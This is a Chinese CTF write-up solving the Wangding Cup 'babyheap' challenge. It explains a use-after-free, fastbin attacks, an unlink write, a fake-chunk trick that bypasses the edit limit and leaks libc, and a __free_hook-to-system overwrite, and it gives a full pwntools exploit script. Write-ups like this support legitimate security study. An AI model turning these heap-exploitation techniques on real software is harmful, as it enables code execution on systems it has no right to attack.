网鼎杯第一场预选 babyheap

前言

参加第一场,侥幸做出两道pwn和签到就进了前50。。貌似自己是前五十做题数量最少的。。时间不够就做出两道babyheap及GUESS。分数全靠babyheap来的。。

程序保护


程序除了没开启pie其他保护都已开启。

程序功能


很全面的菜单题。有create,edit,show,free功能。

create功能,能创建10个大小为0x30的堆块。并能进行写入。无漏洞点。

edit功能。每次edit会使dword_6020B0值+1.当dword_6020B0值为3时,不能进行edit。作用是限制只能进行三次edit。无漏洞点。

show功能,输出堆块内容。用于信息泄露

free功能。free功能存在明显的UAF漏洞,悬挂指针未请空。free功能无限制,可以任意次数的free。

利用思路

程序存在UAF漏洞,难题在于如何通过10次0x30大小的堆块创建及三次的edit完成内存的写入及信息的泄露。
这里先考虑如何完成内存写的问题。malloc的大小被固定,于是fastbin attack不可行。
再考虑unlink。程序未开启PIE,且存在edit功能,若我们能实现unlink,就可以写入保存堆块的地址,实现任意地址写。
但是fast chunk不存在unlink,我们需要free两个small chunk。这里我们可以通过在堆块的特定部分写入0x31实现fastbin attack写入下一个堆块头。使三个0x30chunk组成一个0x91的chunk,free掉。就可以实现unlink。unlink后还要突破edit次数为3的限制。下一部分仔细说。这里总结思路。
首先通过fastbin泄露堆的地址。通过堆的地址及UAF漏洞实现fastbin attack,修改特定堆块的size为0x91。
最终实现0x91 fd bk。。。。。。0x90 0x90
free下面的堆块实现unlink,此时就可以向保存堆块的数组写入。
因为在上面构造过程会使用掉edit的次数。所以我们需要突破edit的限制。即修改dword_6020B0值不为3.
之后就可以向free_hook写入system。free掉bin/sh。完成利用。

利用过程

1.通过fastbin泄露堆的地址。

a=malloc(0x20)
b=malloc(0x20)
c=malloc(0x20)//防止和top chunk合并
free(b)
free(a)//先free a会导致最低位为0x0.输出不出来
show(b)//泄露出heap的地址。

2.通过堆的地址及UAF漏洞实现fastbin attack

a=create(0x20,p64(0x31)3)
b=create(0x20)
c=create(0x20)
free(b)
edit(b,&a+0x10)
d=create(0x20)
e=create(0x20)
就可以覆盖c的堆块头。这里消耗两次edit制造两次fastbin attack。
构造过程如下
create(1,p64(0x31)
3+chr(0x31))
create(2,’/bin/sh’)
create(3,’’)
create(4,p64(0x31)*3)
create(5,’’)
create(6,’’)
create(7,’’)
先创造7个堆块

free 3和2进行堆地址泄露


通过两次edit和两次create实现如图构造。已使用10次create及2次edit


查看发现地址已被修改。但是并不能通过edit修改突破edit的限制。。。。因为即便是以数组最后一项来unlink。能写入的范围也只能到数组最后一项。(只能写入0x20大小)最坑的地方。。。。但还是必须要以数组最后一项来unlink。(伪造堆块用)
我们只剩一次edit的机会。除了free没有别的可以利用。233,我们通过edit伪造数组最后两项为chunk的pre_size和size伪造一个堆块。size为heap地址-0x6020a0+1。这样free,堆块1为fast chunk 不会unlink。会将伪造chunk当作一个巨大的unsorted bin chunk。。。

这时dword_6020B0的值被修改为unsorted bin的地址。。。顺便地址泄露出libc基址。。还真的一点不浪费。上面没有机会再free(create和edit次数不够)。
此时edit的限制也被突破。

常规思路修改free_hook为system。free2.拿到flag

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

p=process(['./babyheap'],env={'LD_PRELOAD':'./libc.so.6'},aslr='FALSE')
#p=remote('106.75.67.115',9999)
e=ELF('./libc.so.6')
def create(a,b):
p.writeline('1')
p.readuntil('Index:')
p.writeline(str(a))
p.readuntil('Content:')
p.writeline(b)
p.readuntil('Choice:')
def dele(a):
p.writeline('4')
p.readuntil('Index:')
p.writeline(str(a))
p.readuntil('Choice:')
def edit(a,b):
p.writeline('2')
p.readuntil('Index:')
p.writeline(str(a))
p.readuntil('Content:')
p.writeline(b)
p.readuntil('Choice:')
context(log_level='debug')
p.readuntil('Choice:')
create(1,p64(0x31)*3+chr(0x31))
create(2,'/bin/sh')
create(3,'')
create(4,p64(0x31)*3)
create(5,'')
create(6,'')
create(7,'')
dele(2)
dele(3)
p.writeline('3')
p.readuntil('Index:')
p.writeline('3')
heap=u64((p.readuntil('\n')[:-1]).ljust(8,chr(0x0)))-0x30
print hex(heap)
edit(3,p64(heap+0xa0))


zz=p64(0x90)*3+chr(0x90)
create(8,'')
edit(4,p64(0x31)*2+p64(heap+0x20))

create(0,zz)

zz=p64(0x0)+p64(0x91)+p64(0x6020a8-0x18)+p32(0x6020a8-0x10)
create(9,zz)

dele(5)

edit(9,p64(0x6020b0)+p64(0x6020a0)+p64(0)+p32(heap-0x6020a0+1))
dele(6)
gdb.attach(p)
p.writeline('3')
p.readuntil('Index:')
p.writeline('6')
libc=u64((p.readuntil('\n')[:-1]).ljust(8,chr(0x0)))-0x3C4B78
print hex(libc)
system=libc+e.symbols['system']
free_hook=libc+e.symbols['__free_hook']
edit(7,p64(free_hook))
edit(8,p64(system))
p.interactive()

总结

这道题出的真的好,我觉得我做的应该是预期解。非常极限。网鼎杯质量真的不错(可能是自己太菜)。有错误或更简单的做法欢迎交流。进前50还是很开心。有re大佬让抱腿就好了哎23333